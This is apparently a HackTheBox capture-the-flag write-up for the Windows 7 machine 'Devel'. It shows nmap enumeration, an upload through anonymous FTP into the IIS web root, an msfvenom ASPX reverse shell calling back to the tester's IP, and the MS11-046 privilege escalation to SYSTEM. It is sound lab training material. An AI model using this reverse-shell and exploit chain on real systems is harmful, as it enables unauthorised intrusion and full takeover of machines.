Devel is a vulnerable Windows 7 machine on HackTheBox with anonymous FTP access to the IIS web server root directory. Escalating privileges involves exploiting CVE-2011-1249 (MS11-046).
1. Initial Enumeration and Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine.
I used nmap -sC -sV -O devel.htb to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-10 07:09 -0400 Nmap scan report for devel.htb (10.129.2.48) Host is up (0.46s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-18-17 02:06AM < DIR> aspnet_client | 03-17-17 05:37PM 689 iisstart.htm |_03-17-17 05:37PM 184946 welcome.png 80/tcp open http Microsoft IIS httpd 7.5 |_http-server-header: Microsoft-IIS/7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: IIS7 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone|specialized Running (JUST GUESSING): Microsoft Windows 2008|7|Vista|2012|Phone|8.1 (97%) OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_8.1 Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft Windows Vista or Windows 7 (92%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2008 R2 or Windows 7 SP1 (91%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows Embedded Standard 7 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%), Microsoft Windows 7 Professional or Windows 8 (89%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 63.49 seconds
Based on the results,
- Port 21 is running FTP service with anonymous login enabled. And some files are in the FTP directory.
- Port 80 is running an IIS server, and its version is 7.5.
2. Website and FTP Enumeration
First, I accessed the website and checked the page source. It seems like the default IIS7 index page, and I couldn't find any more information on the website.
Since the FTP anonymous login is allowed, I decided to look around the FTP directory.
Connected to devel.htb. 220 Microsoft FTP Service Name (devel.htb:kali): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||49158|) 125 Data connection already open; Transfer starting. 03-18-17 02:06AM < DIR> aspnet_client 03-17-17 05:37PM 689 iisstart.htm 03-17-17 05:37PM 184946 welcome.png 226 Transfer complete. ftp>
Connection is a success, and based on the files that are in the FTP directory, it seems like it's the website's root directory.
To test this theory and to test if I have write permissions to the FTP directory, I decided to create a simple txt file and upload.
I created a file using echo "Hello World..." >> hello.txt and tried to upload it through FTP as anonymous.
ftp> put hello.txt local: hello.txt remote: hello.txt 229 Entering Extended Passive Mode (|||49169|) 125 Data connection already open; Transfer starting. 100% |*******************************************************************************| 16 381.09 KiB/s --:-- ETA 226 Transfer complete. 16 bytes sent in 00:00 (0.02 KiB/s)
I was able to upload a file through FTP as anonymous into the web root and access it through the browser as
3. Payload Generation & Initial Foothold
Since I was able to upload a simple text file successfully, I should be able to upload an aspx file with a reverse shell code and trigger it through the browser to get a foothold.
I used msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.36 LPORT=4444 -f aspx > shell.aspx to generate a malicious aspx file and uploaded to the server and triggered it but I was unable to get a reverse shell connection because this is a staged reverse shell I I used NetCat as the listener.
So, I used a stageless reverse shell and created my malicious aspx file using msfvenom.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 324 bytes Final size of aspx file: 2733 bytes
Once this malicious aspx was uploaded through FTP and triggered via browser, I was able to get a reverse shell connection as iis apppool\web.
listening on [any] 4444 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.2.48] 49179 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>whoami whoami iis apppool\web c:\windows\system32\inetsrv>
4. Local System Enumeration
Next, I enumerated the available users by accessing the c:\Users directory and as iis apppool\web, I do not have access to any of the user accounts.
dir
Volume in drive C has no label.
Volume Serial Number is 137F-3971
Directory of c:\Users
18/03/2017 02:16 �� < DIR> .
18/03/2017 02:16 �� < DIR> ..
18/03/2017 02:16 �� < DIR> Administrator
17/03/2017 05:17 �� < DIR> babis
18/03/2017 02:06 �� < DIR> Classic .NET AppPool
14/07/2009 10:20 �� < DIR> Public
0 File(s) 0 bytes
6 Dir(s) 4.632.731.648 bytes free
c:\Users>cd babis
cd babis
Access is denied.Since I do not have much access as iis apppool\web, I need to find a way to escalate privileges. I ran systeminfo to get a better understanding of the machine.
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31 ��
System Boot Time: 10/8/2026, 2:04:27 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2994 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 3.071 MB
Available Physical Memory: 2.495 MB
Virtual Memory: Max Size: 6.141 MB
Virtual Memory: Available: 5.575 MB
Virtual Memory: In Use: 566 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection 4
DHCP Enabled: Yes
DHCP Server: 10.10.10.2
IP address(es)
[01]: 10.129.2.48
[02]: fe80::3195:3590:74ba:e247
[03]: dead:beef::9874:34cb:4244:6890
[04]: dead:beef::3195:3590:74ba:e247A quick internet search using the OS version 6.1.7600 N/A Build 7600 revealed that there is a known exploit. Furthermore, Hotfix(s): N/A hinted that there are no security fixes installed.
5. Privilege Escalation via MS11-046 Exploit
I downloaded the c file and tried to compile it on my local machine, but I got some errors. Seems like my compiler is having a hard time compiling the exploit code. Most likely, the reason can be that my OS and the compiler are new, and the exploit code is using an old compiler version.
So I decided that instead of fighting with the C code, I would download already compiled exe file from GitHub.
Microsoft Windows (x86) - 'afd.sys' Privilege Escalation (MS11-046)
Thank you Paul L. (@am0nsec)
After the download, I uploaded the exe file using FTP directly into the website root.
Note:- When uploading the exe file, you need to switch to binary mode in FTP file transfer, unless the exe file will not execute and give This program cannot be run in DOS mode. error message.
Connected to devel.htb. 220 Microsoft FTP Service Name (devel.htb:kali): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> bibary ?Invalid command. ftp> binary 200 Type set to I. ftp> put ms11-046-2.exe local: ms11-046-2.exe remote: ms11-046-2.exe 229 Entering Extended Passive Mode (|||49183|) 125 Data connection already open; Transfer starting. 100% |*******************************************************************************| 361 KiB 135.62 KiB/s 00:00 ETA 226 Transfer complete. 370019 bytes sent in 00:04 (82.11 KiB/s) ftp>
A quick internet search revealed that the default webroot path for IIS7 server is C:\inetpub\wwwroot.
After executing the exe file, it directly gave me a system shell.
6. Flag Retrieval
Since NT AUTHORITY\SYSTEM is the highest privileged level on a Windows machine, I do not need to escalate privileges anymore. I can retrieve both the user(user.txt) and administrator(root.txt) flags easily
c:\Users>type babis\Desktop\user.txt c:\Users>type Administrator\Desktop\root.txt
Congrats! We found both flags!
HTB Machine Completion
